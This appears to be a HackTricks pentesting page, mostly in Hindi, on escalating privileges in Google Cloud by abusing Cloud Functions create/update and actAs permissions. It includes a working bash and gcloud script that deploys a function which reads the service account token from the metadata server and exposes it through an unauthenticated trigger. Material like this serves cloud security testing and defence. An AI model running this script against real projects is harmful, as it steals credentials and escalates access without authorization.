GCP - Cloudfunctions Privesc

Support HackTricks

cloudfunctions

Cloud Functions के बारे में अधिक जानकारी:

GCP - Cloud Functions Enum

cloudfunctions.functions.create , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

इन विशेषाधिकारों के साथ एक हमलावर मनमाने (दुष्ट) कोड के साथ एक नया Cloud Function बना सकता है और इसे एक Service Account सौंप सकता है। फिर, विशेषाधिकारों को बढ़ाने के लिए मेटाडेटा से Service Account टोकन लीक करें। फंक्शन को ट्रिगर करने के लिए कुछ विशेषाधिकारों की आवश्यकता हो सकती है।

इस विधि के लिए शोषण स्क्रिप्ट यहाँ और यहाँ मिल सकती हैं और प्रीबिल्ट .zip फ़ाइल यहाँ मिल सकती है।

cloudfunctions.functions.update , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

इन विशेषाधिकारों के साथ एक हमलावर एक Function के कोड को संशोधित कर सकता है और यहां तक कि संलग्न सेवा खाते को भी संशोधित कर सकता है जिसका लक्ष्य टोकन को एक्सफिल्ट्रेट करना है।

Cloud functions को तैनात करने के लिए आपको डिफ़ॉल्ट कंप्यूट सेवा खाते पर या उस सेवा खाते पर actAs अनुमतियों की भी आवश्यकता होगी जिसका उपयोग छवि बनाने के लिए किया जाता है।

कुछ अतिरिक्त विशेषाधिकार जैसे कि संस्करण 1 cloudfunctions के लिए .call अनुमति या फंक्शन को ट्रिगर करने के लिए role/run.invoker भूमिका की आवश्यकता हो सकती है।

# Create new code
temp_dir=$(mktemp -d)

cat > $temp_dir/main.py <<EOF
import subprocess

def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF

echo "" > $temp_dir/requirements.txt

zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt

# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated

# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>

यदि आपको त्रुटि Permission 'run.services.setIamPolicy' denied on resource... मिलती है, तो इसका कारण यह है कि आप --allow-unauthenticated पैरामीटर का उपयोग कर रहे हैं और आपके पास इसके लिए पर्याप्त अनुमतियाँ नहीं हैं।

इस विधि के लिए एक्सप्लॉइट स्क्रिप्ट यहाँ मिल सकती है।

cloudfunctions.functions.sourceCodeSet

इस अनुमति के साथ आप एक साइन किया हुआ URL प्राप्त कर सकते हैं ताकि एक फ़ाइल को एक फ़ंक्शन बकेट में अपलोड किया जा सके (लेकिन फ़ंक्शन का कोड नहीं बदलेगा, आपको इसे अभी भी अपडेट करना होगा)

# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'

हम attackers के दृष्टिकोण से केवल इस अनुमति की उपयोगिता के बारे में निश्चित नहीं हैं, लेकिन जानना अच्छा है।

cloudfunctions.functions.setIamPolicy , iam.serviceAccounts.actAs

अपने लिए किसी भी पिछले .update या .create विशेषाधिकार को बढ़ाने के लिए दें।

cloudfunctions.functions.update

केवल cloudfunctions अनुमतियों के साथ, बिना iam.serviceAccounts.actAs के आप फंक्शन को अपडेट नहीं कर पाएंगे, इसलिए यह एक मान्य प्रिवेस्क नहीं है।

बकेट लिखने की अनुमतियाँ

आप सोच सकते हैं कि बकेट पर लिखने की अनुमतियों वाला एक attacker कोड को संशोधित करने में सक्षम होगा function_code.zip को ओवरराइट करके और फिर फंक्शन को मनमाने कोड को निष्पादित करने के लिए बना देगा।

हालांकि, यह सच नहीं है, बकेट के अंदर कोड को ओवरराइट करने से निष्पादित हो रहे कोड में कोई परिवर्तन नहीं होगा।

संदर्भ

HackTricks का समर्थन करें

Last updated